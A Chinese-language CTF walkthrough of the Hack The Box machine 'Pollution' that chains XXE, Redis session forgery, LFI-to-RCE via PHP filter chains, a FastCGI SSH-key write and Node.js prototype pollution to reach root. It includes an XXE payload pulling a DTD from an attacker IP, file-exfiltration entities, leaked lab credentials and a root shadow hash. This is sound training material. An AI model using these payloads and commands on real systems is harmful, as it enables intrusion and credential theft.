基本信息

端口扫描
22,80:
1 | nmap -sC -sV -Pn 10.10.11.192 |
80
公司官网,底部得到域名:

子域名扫描
加hosts后继续枚举子域名,发现forum和developers:
1 | 10.10.11.192 collect.htb |
两个子域名同样加hosts:
forum
MyBB forum:

developers
需要登录:

forum
forum任意注册登录,memberlist中可以得到用户名列表:

浏览论坛内容,知道Pollution API和k8s,附件中还可以得到一些请求响应信息,包括使用的token:
1 | token : ddac62a28254561001277727cb397baf |


COLLECT ADMIN
注意得到的请求是针对主站的,看起来是设置管理员的,所以我们回到主站,注册账号登录,然后使用token把我们设置为admin:

admin界面是注册POLLUTION API的账号:

POLLUTION API
随意测试添加,发现使用XML:

XXE
常规XXE:
- XXE - XEE - XML External Entity - HackTricks
https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity#html-entities
数据格式大概这样,把xxe-payload 放在合法数据中:
1 | manage_api=<?xml version="1.0" encoding="UTF-8"?><xxe-payload><root><method>POST</method><uri>/auth/register</uri><user><username>miao1</username><password>123456</password></user></root> |
file read
1 | manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://10.10.14.5:7777/file.dtd"> %xxe;]><root>..... |


后面就是一点点读文件,../bootstrp.php中得到redis密码:
1 | COLLECTR3D1SPASS |
/var/www/developers/.htpasswd中也能得到一个hash,破解出来developer密码:
1 | developers_group:r0cket |
file.dtd
1 | <!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=index.php'> |
redis
使用得到的密码查看redis,发现里面是我们的session id:

developer中使用得到的账号密码登录后还有第二层登录,这时redis中多了一条数据,是developer那边的,可以尝试直接修改为已认证数据,绕过登录:


1 | 10.10.11.192:6379> set PHPREDIS_SESSION:64eocsg047rtkcf4j9s7ffubfr "username|s:4:\"miao\";role|s:5:\"admin\";auth|s:1:\"a\";" |

LFI to RCE
page参数LFI,使用php filter进行RCE:
- synacktiv/php_filter_chain_generator
https://github.com/synacktiv/php_filter_chain_generator - hxp CTF 2021 - The End Of LFI? - 跳跳糖
https://tttang.com/archive/1395/

shell
需要尽可能短,所以我们通过下载执行的方式,得到www-data shell:
1 | file m |

信息
/var/www/developers/login.php中得到数据库密码:
1 | $db = new mysqli("localhost", "webapp_user", "Str0ngP4ssw0rdB*12@1", "developers"); |
9000端口运行着FastCGI:
- Fastcgi PHP-FPM Client && Code Execution
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
FastCGI
fastcgi是victor权限:

我们可以把公钥写到victor用户目录,从而ssh连接:
1 | python3 fpm.py -c '<?php system("echo \"ssh-rsa ...\" > /home/victor/.ssh/authorized_keys"); exit; ?>' 127.0.0.1 /tmp/miao.php |
user flag
victor用户目录得到user.txt:

提权信息
常规枚举发现root运行的/usr/bin/node /root/pollution_api/index.js
在 victor 的主目录中有一份代码副本:/home/victor/pollution_api
查看代码结合靶机名称,很容易发现原型链污染漏洞,Messages_send.js中调用merge:
- Prototype Pollution to RCE - HackTricks
https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce#exec-exploitation
因此,对于我们的漏洞利用,我们需要以管理员用户身份对 API 进行身份验证,然后制作恶意污染的负载以获取 RCE。
Messages_send.js
1 | const Message = require('../models/Message'); |
提权 & root flag
API访问的用户存储在pullution_api
db中,我们首先把之前注册的用户修改为管理员:
1 | mysql -u webapp_user -pStr0ngP4ssw0rdB*12@1 -D pollution_api |
现在,我们可以登录miao
并接收具有admin
特权的令牌并利用/admin/messages/send
API
1 | curl http://127.0.0.1:3000/auth/login -H "content-type: application/json" -d '{"username":"miao","password":"123456"}' |

shadow
1 | root:$y$j9T$ckehF3Y37zdTv6yQyHrbL1$3eyEH9Pq4Rq/Pg8EX99DkT9UxvsxaNdw99TUEAuYEN1:19254:0:99999:7::: |
参考资料
- XXE - XEE - XML External Entity - HackTricks
https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity#html-entities - synacktiv/php_filter_chain_generator
https://github.com/synacktiv/php_filter_chain_generator - hxp CTF 2021 - The End Of LFI? - 跳跳糖
https://tttang.com/archive/1395/ - Fastcgi PHP-FPM Client && Code Execution
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75 - Prototype Pollution to RCE - HackTricks
https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce#exec-exploitation - Pollution - HTB [Discussion] | BreachForums
https://breached.vc/Thread-Pollution-HTB-Discussion - HTB - Pollution [Hard] // MeowMeowAttack’s security.log
https://meowmeowattack.github.io/htb/pollution/